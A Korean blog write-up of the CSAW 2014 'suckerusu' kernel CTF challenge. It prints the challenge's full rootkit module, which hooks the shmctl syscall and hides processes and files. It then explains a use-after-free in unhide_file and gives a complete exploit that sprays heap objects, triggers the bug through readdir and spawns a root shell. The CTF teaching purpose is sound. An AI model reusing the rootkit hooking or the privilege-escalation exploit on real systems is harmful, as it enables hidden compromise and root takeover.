Kernel Exploit in CTF 03 - CSAW2014 suckerusu

By puing | June 22, 2018

CTF 문제로 공부하는 Kernel Exploit EP.03 - CSAW 2014 suckerusu


안녕하세요!
또 다시 커널 익스플로잇 문제와 함께 돌아온 puing 입니다!!
이번에 풀어볼 문제는 2014 CSAW 에 출제되었던 Suckerusu 라는 문제입니다.

역시나 문제 소스는 깁니다.
차근차근 시작 해 볼까요? :)




커널익스플로잇도 문제소스부터 시작~


문제 소스를 먼저 볼까요? :)
길어도 차근차근!


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/list.h>
#include <linux/fs.h>
#include <linux/cred.h>
#include <linux/shm.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/processor.h>
#include <linux/delay.h>

#define AUTH_TOKEN  0x77617363

#define MAX_PIDS    100

#define MAX_FILES   100

#define DEBUG if ( debug ) printk

long debug = 0;

struct pid_args {
    long pid_start;
    long pid_end;
};

struct file_args {
    char *name;
    int len;
};

struct {
    unsigned short limit;
    unsigned long base;
} __attribute__ ((packed))idtr;


struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off2;
} __attribute__ ((packed))idt;


unsigned long *sys_call_table;


struct hidden_pid {
    long pid_start;
    long pid_end;
    struct list_head list;
};


LIST_HEAD(hidden_pids);


struct hidden_file {
    void (*cb)(struct hidden_file *);
    char *name;
    struct list_head list;
};


LIST_HEAD(hidden_files);


static int (*orig_sys_shmctl)(int, int, void *);
static int (*orig_proc_iterate)(struct file *, struct dir_context *);
static int (*proc_filldir)(void *, const char *, int, loff_t, u64, unsigned);
static int (*orig_root_iterate)(struct file *file, struct dir_context *);
static int (*root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);


void *memmem ( const void *haystack, size_t haystack_size, const void *needle, size_t needle_size )
{
    char *p;

    for ( p = (char *)haystack; p <= ((char *)haystack - needle_size + haystack_size); p++ )
        if ( memcmp(p, needle, needle_size) == 0 )
            return (void *)p;

    return NULL;
}

unsigned long *find_sys_call_table ( void )
{
    char **p;
    unsigned long sct_off = 0;
    unsigned char code[512];

    rdmsrl(MSR_LSTAR, sct_off);
    memcpy(code, (void *)sct_off, sizeof(code));

    p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);

    if ( p )
    {
        unsigned long *sct = *(unsigned long **)((char *)p + 3);

        // Stupid compiler doesn't want to do bitwise math on pointers
        sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000);

        return sct;
    }
    else
        return NULL;
}

// Thanks Dan
inline unsigned long disable_wp ( void )
{
    unsigned long cr0;

    preempt_disable();
    barrier();

    cr0 = read_cr0();
    write_cr0(cr0 & ~X86_CR0_WP);
    return cr0;
}

inline void restore_wp ( unsigned long cr0 )
{
    write_cr0(cr0);

    barrier();
    preempt_enable();
}

void up_up ( void )
{
    commit_creds(prepare_kernel_cred(NULL));
}

void write_ulong ( unsigned long *ptr, unsigned long val )
{
    unsigned long o_cr0 = disable_wp();
    *ptr = val;
    restore_wp(o_cr0);
}

unsigned long xchg_ulong ( unsigned long *ptr, unsigned long val )
{
    unsigned long ret, o_cr0 = disable_wp();
    ret = __sync_lock_test_and_set(ptr, val);
    restore_wp(o_cr0);

    return ret;
}

void debug_hidden_file ( struct hidden_file *hf )
{
    DEBUG("Hiding file %s from directory listing\n", hf->name);
}

void suckerusu_kfree ( void *objp )
{
    DEBUG("Freeing buffer at %p\n", objp);

    kfree(objp);
}

void *suckerusu_kmalloc ( size_t size, gfp_t flags )
{
    void *ptr;

    ptr = kmalloc(size, flags);

    DEBUG("Allocating buffer at %p\n", ptr);

    return ptr;
}

void hide_pid ( long pid_start, long pid_end )
{
    struct hidden_pid *hp;

    hp = suckerusu_kmalloc(sizeof(*hp), GFP_KERNEL);
    if ( ! hp )
        return;

    hp->pid_start = pid_start;
    hp->pid_end = pid_end;

    list_add(&hp->list, &hidden_pids);
}

void unhide_pid ( long pid_start, long pid_end )
{
    struct hidden_pid *hp;

    list_for_each_entry ( hp, &hidden_pids, list )
    {
        if ( (pid_start == hp->pid_start) && (pid_end == hp->pid_end) )
        {
            list_del(&hp->list);
            suckerusu_kfree(hp);
            break;
        }
    }
}

void hide_file ( char *name )
{
    struct hidden_file *hf;

    hf = suckerusu_kmalloc(sizeof(*hf), GFP_KERNEL);
    if ( ! hf )
        return;

    hf->name = name;
    hf->cb = debug_hidden_file;

    list_add(&hf->list, &hidden_files);
}

void unhide_file ( char *name )
{
    struct hidden_file *hf;

    list_for_each_entry ( hf, &hidden_files, list )
    {
        if ( ! strcmp(name, hf->name) )
        {
            suckerusu_kfree(hf->name);
            suckerusu_kfree(hf);
            break;
        }
    }
}

void *hook_vfs_iterate ( const char *path, void *hook_func )
{
    void *ret;
    int (* const *tmp)(struct file *, struct dir_context *);
    struct file *filep;

    if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
        return NULL;

    tmp = &(filep->f_op->iterate);
    ret = (void *)xchg_ulong((unsigned long *)tmp, (unsigned long)hook_func);

    filp_close(filep, 0);

    return ret;
}

static int hook_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
    struct hidden_pid *hp;
    char *endp;
    long pid;

    DEBUG("%s: enter, name=%s\n", __func__, name);

    pid = simple_strtol(name, &endp, 10);

    list_for_each_entry ( hp, &hidden_pids, list )
    {
        DEBUG("Checking name against: %ld-%ld\n", hp->pid_start, hp->pid_end);

        if ( (pid >= hp->pid_start) && (pid <= hp->pid_end) )
            return 0;
    }

    return proc_filldir(__buf, name, namelen, offset, ino, d_type);
}

int hook_proc_iterate ( struct file *file, struct dir_context *ctx )
{
    int ret;

    proc_filldir = ctx->actor;
    *((filldir_t *)&ctx->actor) = hook_proc_filldir;
    ret = orig_proc_iterate(file, ctx);

    return ret;
}

static int hook_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
    struct hidden_file *hf;

    DEBUG("%s: enter, name=%s\n", __func__, name);

    list_for_each_entry ( hf, &hidden_files, list )
    {
        DEBUG("Checking name against: '%s' with callback %p\n", hf->name, hf->cb);

        if ( strstr(name, hf->name) )
        {
            DEBUG("Match!\n");

            if ( hf->cb )
                hf->cb(hf);

            return 0;
        }
    }

    DEBUG("%s: end\n", __func__);

    return root_filldir(__buf, name, namelen, offset, ino, d_type);
}

int hook_root_iterate ( struct file *file, struct dir_context *ctx )
{
    int ret;

    root_filldir = ctx->actor;
    *((filldir_t *)&ctx->actor) = hook_root_filldir;
    ret = orig_root_iterate(file, ctx);

    return ret;
}

int hook_sys_shmctl ( int shmid, int cmd, struct shmid_ds *buf )
{
    /* This is the good stuff */
    if ( shmid == AUTH_TOKEN )
    {
        int ret = 0;

        DEBUG("Authenticated!\n");

        switch ( cmd )
        {
            /* Elevate privileges to root */
            case 0:
            {
                // TODO
                break;
            }

            /* Hide process */
            case 1:
            {
                struct pid_args pid_args;

                DEBUG("Hiding process\n");

                if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
                    return -EFAULT;

                hide_pid(pid_args.pid_start, pid_args.pid_end);
                break;
            }

            /* Unhide process */
            case 2:
            {
                struct pid_args pid_args;

                DEBUG("Unhiding process\n");

                if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
                    return -EFAULT;

                unhide_pid(pid_args.pid_start, pid_args.pid_end);
                break;
            }

            /* Hide file */
            case 3:
            {
                char *name;
                struct file_args file_args;

                DEBUG("Hiding file\n");

                if ( copy_from_user(&file_args, buf, sizeof(file_args)) )
                    return -EFAULT;

                name = suckerusu_kmalloc(file_args.len + 1, GFP_KERNEL);
                if ( ZERO_OR_NULL_PTR(name) )
                    return -ENOMEM;

                ret = copy_from_user(name, file_args.name, file_args.len);
                if ( ret )
                {
                    suckerusu_kfree(name);
                    return -EFAULT;
                }

                name[file_args.len] = 0;

                hide_file(name);
                break;
            }

            /* Unhide file */
            case 4:
            {
                char *name;
                struct file_args file_args;

                DEBUG("Unhiding file\n");

                if ( copy_from_user(&file_args, buf, sizeof(file_args)) )
                    return -EFAULT;

                name = suckerusu_kmalloc(file_args.len + 1, GFP_KERNEL);
                if ( ZERO_OR_NULL_PTR(name) )
                    return -ENOMEM;

                ret = copy_from_user(name, file_args.name, file_args.len);
                if ( ret )
                {
                    suckerusu_kfree(name);
                    return -EFAULT;
                }

                name[file_args.len] = 0;

                unhide_file(name);
                break;
            }

            /* Toggle debugging */
            case 5:
            {
                debug = (long)buf;

                DEBUG("Debugging set to: %ld\n", debug);
            }
        }

        return ret;
    }

    return orig_sys_shmctl(shmid, cmd, (void *)buf);
}

static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void )
{
    /* Find system call table */
    sys_call_table = find_sys_call_table();

    /* Install channel for communication with the rootkit */
    orig_sys_shmctl = *(void **)(sys_call_table + __NR_shmctl);
    write_ulong(sys_call_table + __NR_shmctl, (unsigned long)&hook_sys_shmctl);

    /* Hook /proc for hiding processes */
    orig_proc_iterate = hook_vfs_iterate("/proc", &hook_proc_iterate);

    /* Hook / for hiding files */
    orig_root_iterate = hook_vfs_iterate("/", &hook_root_iterate);

    return 0;
}

static void __exit mischief_managed ( void )
{
    // lol
}

module_init(i_solemnly_swear_that_i_am_up_to_no_good);
module_exit(mischief_managed);

MODULE_LICENSE("GPL");


길죠?
후하후하!
차근차근 볼까요? :)




분석 해 봅시다


문제 소스를 보면 모듈이 로드될 때, i_solemnly_swear_that_i_am_up_to_no_good 함수가 호출됩니다. 이 함수 내용은 shmctl 함수를 후킹하여 shmctl 함수가 호출되었을 때, hook_sys_shmctl 함수가 호출되도록 합니다.

그리고 hook_vfs_iterate 함수로 /proc/ 의 file_operations 구조체에서 iterate 에 각각 hook_proc_iterate, hook_root_iterate 함수 주소를 써줍니다.


unsigned long xchg_ulong ( unsigned long *ptr, unsigned long val )
{
    unsigned long ret, o_cr0 = disable_wp();
    ret = __sync_lock_test_and_set(ptr, val);
    restore_wp(o_cr0);

    return ret;
}

...
...

void *hook_vfs_iterate ( const char *path, void *hook_func )
{
    ...
    ...

    tmp = &(filep->f_op->iterate);
    ret = (void *)xchg_ulong((unsigned long *)tmp, (unsigned long)hook_func);


그리고 hook_proc_iterate,hook_root_iterate 함수에서는 ctx->actorhook_proc_filldir, hook_root_filldir 함수 주소를 넣어줍니다.


int hook_proc_iterate ( struct file *file, struct dir_context *ctx )
{
    int ret;

    proc_filldir = ctx->actor;
    *((filldir_t *)&ctx->actor) = hook_proc_filldir;
    ret = orig_proc_iterate(file, ctx);

    return ret;
}

int hook_root_iterate ( struct file *file, struct dir_context *ctx )
{
    int ret;

    root_filldir = ctx->actor;
    *((filldir_t *)&ctx->actor) = hook_root_filldir;
    ret = orig_root_iterate(file, ctx);

    return ret;
}


hook_sys_shmctl 함수 내용을 보면, 인자로 들어온 shmid 가 AUTH_TOKEN(0x77617363) 이냐 아니냐에 따라, 원래의 shmctl 함수가 실행될 수도 있고, case 문으로 들어가 다른 내용들이 실행될 수도 있습니다.


int hook_sys_shmctl ( int shmid, int cmd, struct shmid_ds *buf )
{
    /* This is the good stuff */
    if ( shmid == AUTH_TOKEN )
    {
        int ret = 0;

        DEBUG("Authenticated!\n");

        switch ( cmd )
        {

            ....
            ....

    return orig_sys_shmctl(shmid, cmd, (void *)buf);
}


case 문을 보면, 1일 경우, hide_pid, 2일 경우, unhide_pid, 3일 경우, hide_file, 4일 경우, unhide_file 함수가 호출됩니다. 그리고 list_add 함수로 리스트에 추가합니다.


간단하게 함수들을 살펴봅시다!

먼저, hide_pid 는 kmalloc 함수로 메모리 할당을 받은 후, hidden_pid 구조체의 pid_start, pid_end 변수에 각각 사용자가 전달한 값을 넣어줍니다.


if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
                    return -EFAULT;

...
...

hide_pid(pid_args.pid_start, pid_args.pid_end);
struct hidden_pid {
    long pid_start;
    long pid_end;
    struct list_head list;
};

...
...

void hide_pid ( long pid_start, long pid_end )
{
    struct hidden_pid *hp;

    hp = suckerusu_kmalloc(sizeof(*hp), GFP_KERNEL);
    if ( ! hp )
        return;

    hp->pid_start = pid_start;
    hp->pid_end = pid_end;

    list_add(&hp->list, &hidden_pids);
}


그리고 unhide_pid 함수는 kfree 함수로 할당받은 메모리를 반환하고 list_del 함수로 해당 리스트를 제거합니다.


if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
                    return -EFAULT;

...
...

unhide_pid(pid_args.pid_start, pid_args.pid_end);

void unhide_pid ( long pid_start, long pid_end )
{
    struct hidden_pid *hp;

    list_for_each_entry ( hp, &hidden_pids, list )
    {
        if ( (pid_start == hp->pid_start) && (pid_end == hp->pid_end) )
        {
            list_del(&hp->list);
            suckerusu_kfree(hp);
            break;
        }
    }
}


hide_file 함수와 unhide_file 함수는 위에 함수들과 비슷하게, kmalloc 함수로 메모리 할당을 받고, 사용자가 전달한 값을 hidden_file 구조체의 변수에 넣고 list_add 로 리스트를 추가하고 kfree 함수로 할당받은 메모리를 해제합니다.


자 이정도로 간략하게 함수들을 설명했고!
이제 어떻게 hook_sys_shmctl 을 호출할까요?




취약점을 찾아보자!!


어떻게 hook_sys_shmctl 을 호출할까요?
해당 커널 모듈에서 shmctl 함수를 후킹했다고 했었죠?
따라서 우리가 그냥 shmctl 을 호출하면 알아서 hook_sys_shmctl 함수가 호출 되겠네요!


syscall 함수를 이용하여 shmctl 함수를 호출할 수 있습니다.
syscall(int number, (arg1),(arg2)....) 와 같이 shmctl 을 호출하면 hook_sys_shmctl 함수가 호출될 것입니다.


1. shmctl 함수 원형은, int shmctl(int shmid, int cmd, struct shmid_ds *buf) 입니다.
syscall 함수로 shmctl 함수를 호출하려면 syscall(shmctl_system_call_number, arg1, arg2, arg3) 와 같이 사용하면 되겠죠?

2. system call table 을 검색하면 shmctl 함수의 system call number 를 알아낼 수 있습니다.
여기선 sys_shmctl 은 31번입니다.


커널 모듈에 있는 hide_pid, hide_file 이런 함수들을 사용하기 위해서는 shmctl 인자로 AUTH_TOKEN(0x77617363) 을 주어야 합니다.

간단한 예로 hidden_pid 구조체와 비슷한 구조체를 만들어서 전달할 값들을 넣고
syscall(31,AUTH_TOKEN(0x77617363),HIDE_PID, &hidden_pid) 와 같이 사용해봅시다.


작성한 call_hidpid.c 내용

#include <string.h>
#include <stdio.h>

#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME ""

#define HIDE_PID    1

struct pid_args {
    long pid_start;
    long pid_end;
};

struct file_args {
    char *name;
    int len;
};

int main()
{
	struct pid_args pid_args;

	memset(&pid_args, 0, sizeof(pid_args));
	pid_args.pid_start = 0x11223344;
	pid_args.pid_end = (long)&FILE_NAME;

	syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);

	return 0;
}


그리고 hide_pid 함수가 호출되었는지 확인하기위해 main.cprintk 함수를 추가해봅시다.


main.c 수정한 부분

void hide_pid ( long pid_start, long pid_end )
{
    struct hidden_pid *hp;

    printk(KERN_INFO "hide_pid was called!!\n");

    hp = suckerusu_kmalloc(sizeof(*hp), GFP_KERNEL);
    if ( ! hp )
        return;

    hp->pid_start = pid_start;
    hp->pid_end = pid_end;

    list_add(&hp->list, &hidden_pids);
}


실행해보면, hide_pid 함수가 제대로 호출된것을 확인할 수 있습니다!!ㅎㅎ



call hide_pid function

자, 이 문제에서 취약점은 어디에 있을까요?? ㅎㅎ


unhide_file 함수를 보면,


void unhide_file ( char *name )
{
    struct hidden_file *hf;

    list_for_each_entry ( hf, &hidden_files, list )
    {
        if ( ! strcmp(name, hf->name) )
        {
            suckerusu_kfree(hf->name);
            suckerusu_kfree(hf);
            break;
        }
    }
}


할당받은 메모리를 반환하죠?


void unhide_pid ( long pid_start, long pid_end )
{
    struct hidden_pid *hp;

    list_for_each_entry ( hp, &hidden_pids, list )
    {
        if ( (pid_start == hp->pid_start) && (pid_end == hp->pid_end) )
        {
            list_del(&hp->list);
            suckerusu_kfree(hp);
            break;
        }
    }
}


unhide_pid 함수같은 경우, 메모리를 반환하면서 list_del 함수로 해당 리스트를 삭제합니다.
하지만 unhide_file 함수에선 list_del 같은 함수로 리스트를 삭제하는 부분이 없죠?


그렇다면 할당받은 메모리가 반환되기는 하지만 리스트는 그대로 있는 상태일것입니다.




hide_file 함수를 호출하여 hf->name 과 hf->cb 에 값들이 채워져있는 상태에서 unhide_file 함수를 호출하여 할당받은 메모리를 반환하면, free 된 영역이기때문에 언젠간 다른 값들로 덮어 씌워질 수 있겠죠? 그리고 후킹된 hook_root_filldir 함수가 호출되면 어떻게 될까요?




hook_root_filldir 함수 내용

static int hook_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
    struct hidden_file *hf;

    DEBUG("%s: enter, name=%s\n", __func__, name);

    list_for_each_entry ( hf, &hidden_files, list )
    {
        DEBUG("Checking name against: '%s' with callback %p\n", hf->name, hf->cb);

        if ( strstr(name, hf->name) )
        {
            DEBUG("Match!\n");

            if ( hf->cb )
                hf->cb(hf);

            return 0;
        }
    }

    DEBUG("%s: end\n", __func__);

    return root_filldir(__buf, name, namelen, offset, ino, d_type);
}


hook_root_filldir 함수 내용에 hf->cb 를 호출해주는 부분이 있습니다.




헷갈리시죠?!??!?!?! ㅎㅎㅎ

한번 더 정리해서 말하자면, hide_file 함수에서 메모리 할당을 받고, unhide_file 함수에서 메모리를 반환합니다. 하지만 list_del 함수와 같이 list 에서 삭제해주는 부분이 없기때문에 list 에는 여전히 존재하고 반환된 메모리는 다른 값으로 덮어 씌워질 수 있습니다! 그리하여 반환된 메모리에 우리가 원하는 값으로 덮어씌워주고 hook_root_filldir 함수에서 list 들을 순회하며 hf->cb 를 호출하게 될 때, 우리가 덮어씌운 곳을 호출하게 되는 것입니다.


hf->cb 영역에 임의의 값으로 덮어씌우고 hook_root_filldir 함수를 호출하게하면 우리가 쓴 값이 그대로 호출될 것입니다. 모듈 내용에 up_up 이라는 함수를 보면, commit_creds(prepare_kernel(NULL)) 함수를 호출하여 그대로 권한 상승을 시켜주는 부분이 있습니다. hf->cb 에 up_up 함수 주소가 들어가면 hook_root_filldir 함수가 호출될 때, 루트로 권한 상승할 수 있을 것 입니다.


void up_up ( void )
{
    commit_creds(prepare_kernel_cred(NULL));
}


정리를 해보면,


1. hide_file 함수 호출 -> 메모리 할당
2. unhide_file 함수 호출 -> 메모리 반환
3. hide_pid 함수 호출 -> 메모리 할당 -> hf->cb 영역 덮어 씌우기


이렇게 요약할 수 있겠습니다!


먼저 hide_file 함수를 호출하여 어느 메모리 영역을 할당받았는지 봅시다.


작성한 hide_pid_file.c 내용

#include <dirent.h>
#include <string.h>
#include <stdio.h>

#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME "flag"

#define HIDE_PID    1
#define HIDE_FILE   3
#define UNHIDE_FILE 4
#define DEBUG       5

struct pid_args {
    long pid_start;
    long pid_end;
};

struct file_args {
    char *name;
    int len;
};

int main()
{
	DIR *dir;
	struct file_args file_args;
	struct pid_args pid_args;
	long debug;
	int i;

	debug = 1;
	
	syscall(__NR_shmctl, AUTH_TOKEN, DEBUG, &debug);
	
	memset(&file_args, 0, sizeof(file_args));
	file_args.name = FILE_NAME;
	file_args.len = strlen(FILE_NAME);

	syscall(__NR_shmctl, AUTH_TOKEN, HIDE_FILE, &file_args);

	memset(&file_args, 0, sizeof(file_args));
	file_args.name = FILE_NAME;
	file_args.len = strlen(FILE_NAME);

	syscall(__NR_shmctl, AUTH_TOKEN, UNHIDE_FILE, &file_args);

	memset(&pid_args,0, sizeof(pid_args));
	pid_args.pid_start = 0;
	pid_args.pid_end = 0;

	syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
        syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
        syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);

	return 0;
}




실행 결과를 보면 0xffff880005c5d500, 0xffff880005c86e40 가 할당받은 메모리 주소입니다. 0xffff880005c5d500 에는 사용자가 file_args 구조체의 name 에 담은 값이 써지고, 0xffff880005c86e40 에는 hidden_file 구조체가 들어갑니다. 즉 hf->cb 를 호출할 때, 0xffff880005c86e40 에 있는 주소가 호출될 것입니다. free 시킨 후, up_up 함수 주소로 덮어씌우면 되는 것입니다.


HIDE_PID 를 호출 할 때, 구조체 내용에 up_up 함수 주소를 넣고 디버깅해서 제대로 들어가는지 확인해봅시다.


작성한 overwrite.c 내용

#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <sys/utsname.h>

#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME "flag"

#define HIDE_PID    1
#define HIDE_FILE   3
#define UNHIDE_FILE 4
#define DEBUG       5

struct pid_args {
    long pid_start;
    long pid_end;
};

struct file_args {
    char *name;
    int len;
};

unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}


int main()
{
	DIR *dir;
	struct file_args file_args;
	struct pid_args pid_args;
	long debug;
	int i,tmp;
	unsigned long up_up;

	up_up = get_kernel_sym("up_up");
    	if ( 0 == up_up )
    	{
        	printf("[-] Failed to resolve up_up\n");
        	return 0;
    	}

	debug = 1;
	
	syscall(__NR_shmctl, AUTH_TOKEN, DEBUG, &debug);
	
	memset(&file_args, 0, sizeof(file_args));
	file_args.name = FILE_NAME;
	file_args.len = strlen(FILE_NAME);

	syscall(__NR_shmctl, AUTH_TOKEN, HIDE_FILE, &file_args);

	memset(&file_args, 0, sizeof(file_args));
	file_args.name = FILE_NAME;
	file_args.len = strlen(FILE_NAME);

	syscall(__NR_shmctl, AUTH_TOKEN, UNHIDE_FILE, &file_args);

	memset(&pid_args,0, sizeof(pid_args));
	pid_args.pid_start = up_up;
	pid_args.pid_end = 0;

	scanf("%d",&tmp);
	for(i = 0; i < 5000;i++)
	{
		syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
	}

	return 0;
}






up_up 함수의 주소는 0xffffffffc0000430 이고 hf->cb 는 0xffff880005c86100 에 위치합니다. 따라서 0xffff880005c86100 에 watch 를 걸고 실행해보면, hf->cb 에 up_up 함수 주소가 제대로 들어간 것을 확인할 수 있습니다!!


소스 내용을 수정하거나 소스에 내용을 추가하여 실행할 때마다 할당받은 메모리 영역은 조금씩 달라질 수 있습니다.


그럼 우리는 hf->cb 에 원하는 값을 써줬으니 이 주소를 호출하는 hook_root_filldir 함수만 호출해주면 될 것 입니다.
이 함수를 호출하는 방법은 간단합니다. readdir 함수를 호출하면 됩니다. :)


readdir 함수는 디렉터리 내용을 읽을 때 사용되는 함수입니다.
리눅스 명령어 ls 도 readdir 함수를 사용합니다.
readdir 함수에서는 내부적으로 fillonedir 콜백 함수를 사용합니다. 쉽게 말해서 해당 디렉터리 파일들을 읽을 때마다 실행되는 함수입니다.


처음에 모듈 로드하면 몇 가지 함수를 후킹했었죠? 그 중, iterate 함수를 후킹하고 hook_root_iterate 함수에서 콜백 함수가 위치한 자리에 hook_root_filldir 함수를 넣어줍니다. 즉, 디렉터리 파일들을 읽을 때마다 실행되는 fillonedir 콜백함수가 hook_root_filldir 함수로 대체된 것 입니다. 그럼 디렉터리 파일을 읽을 때마다 hook_root_filldir 함수가 호출되겠죠?

readdir 함수로 디렉터리를 읽을 때 hook_root_filldir 함수가 호출되고 이 함수 안에서 hf->cb 를 호출하면 권한 상승을 할 수 있습니다.


원하는 함수를 알맞은 곳에 써준후에, readdir 함수로 후킹된 함수를 호출해서 권한 상승을 한 뒤, 그냥 /bin/sh 만 실행하면 루트 쉘을 획득할 수 있게 됩니다 ㅎㅎ




익스플로잇 코드를 작성 해 봅시다!


위의 분석 내용을 토대로 익스플로잇 코드를 작성하면 다음과 같습니다!


exploit code 내용

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/utsname.h>

#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME ""

#define HIDE_PID    1
#define UNHIDE_PID  2
#define HIDE_FILE   3
#define UNHIDE_FILE 4
#define DEBUG       5

struct pid_args {
    long pid_start;
    long pid_end;
};

struct file_args {
    char *name;
    int len;
};

void error ( char *msg )
{
    perror(msg);
    exit(EXIT_FAILURE);
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '\0';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}

int main ( int argc, char *argv[] )
{
    int ret, i;
    long debug;
    unsigned long up_up;
    DIR *dir;
    struct file_args file_args;
    struct pid_args pid_args;

    up_up = get_kernel_sym("up_up");
    if ( 0 == up_up )
    {
        printf("[-] Failed to resolve up_up\n");
        exit(EXIT_FAILURE);
    }

    /* Enable debugging */

    printf("[+] Enabling debugging...\n");

    debug = 1;

    ret = syscall(__NR_shmctl, AUTH_TOKEN, DEBUG, &debug);
    if ( ret < 0 )
        error("[-] shmctl");

    /* Hide file */

    printf("[+] Hiding file...\n");

    memset(&file_args, 0, sizeof(file_args));
    file_args.name = FILE_NAME;
    file_args.len = strlen(FILE_NAME);

    ret = syscall(__NR_shmctl, AUTH_TOKEN, HIDE_FILE, &file_args);
    if ( ret < 0 )
        error("[-] shmctl");

    /* Unhide file */

    printf("[+] Unhiding file...\n");

    memset(&file_args, 0, sizeof(file_args));
    file_args.name = FILE_NAME;
    file_args.len = strlen(FILE_NAME);

    ret = syscall(__NR_shmctl, AUTH_TOKEN, UNHIDE_FILE, &file_args);
    if ( ret < 0 )
        error("[-] shmctl");

    /* Spray PID objects... whatever */

    printf("[+] Spraying PID objects...\n");

    memset(&pid_args, 0, sizeof(pid_args));
    pid_args.pid_start = up_up;
    pid_args.pid_end = (long)&FILE_NAME;

    for ( i = 0; i < 5000; i++ )
    {
        ret = syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
        if ( ret < 0 )
            error("[-] shmctl");
    }

    /* Trigger UAF function pointer */

    printf("[+] Triggering UAF...\n");

    dir = opendir(".");
    if ( NULL == dir )
        error("[-] opendir");

    readdir(dir);

    /* Check if root */

    if ( getuid() )
    {
        printf("[-] Failed to get root\n");
        exit(EXIT_FAILURE);
    }
    else
        printf("[+] Got root!\n");

    printf("[+] Enjoy your shell...\n");

    if ( execl("/bin/sh", "sh", NULL) < 0 )
        error("[-] execl");

    return 0;
}


짜잔!




권한 상승이 제대로 된 상태로 쉘 획득한 것을 확인할 수 있습니다 :D




REFERENCE

csaw 2014 write-up

comments powered by Disqus